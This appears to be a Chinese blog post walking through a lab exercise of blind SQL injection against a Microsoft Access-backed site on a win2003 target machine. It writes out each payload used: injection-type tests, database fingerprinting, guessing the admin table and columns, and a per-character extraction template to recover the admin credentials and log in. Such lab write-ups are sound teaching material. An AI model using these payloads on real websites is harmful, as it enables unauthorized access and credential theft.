ACCESS盲注之获取网站的管理员账户密码

我们将通过一个网站来熟悉ACCESS盲注
靶机:
win2003
我们先在网站的各个地方寻找注入点,发现在id的位置存在一个注入点
在这里插入图片描述
接着判断是字符型注入还是数值型注入,发现是数值型注入
1.字符型测试:id=2’ and ‘1’='1或id=2" and “1”="1
2.数值型测试:id=2 and 1=1
在这里插入图片描述
接着进行错误注入判断
id=2 and 1=0
在这里插入图片描述
判断是否为ACCESS数据库
id=2 and exists(select * from sysobjects)
id=2 and exists(select * from msysobjects)
在这里插入图片描述

sysobjects表不存在,msysobject表存在,但没有读取权限,可以判断为ACCESS数据库,因为union在这里不能使用,我们采取盲注的方法
猜测是否存在表admin
id=2 and exists(select * from admin)

admin表存在。我们找一下管理员登录界面,试一下/admin/或admin.asp
在这里插入图片描述
管理员界面为admin.asp,名称框和密码框的name值为username和password
在这里插入图片描述
猜测admin表应该存在username字段和password字段,在注入点验证一下
id=2 and exists(select username,password from admin)
在这里插入图片描述
username和password存在,用二分判断username字段的第一个值的长度,结果为5,
id=2 and (select top 1 len(username) from admin)=5
在这里插入图片描述
同样判断password字段的第一个值的长度,结果为10
id=2 and (select top 1 len(password) from admin)=10
在这里插入图片描述
接着判断username和password的各个字符
payload格式:
id=2 and (select top 1 asc(mid(username,字符位置,1)) from admin)=字符的ascii值
我们编写python脚本进行测试,代码如下:
在这里插入图片描述
结果为:
在这里插入图片描述
最后来到管理员界面登录
在这里插入图片描述
登录成功
在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值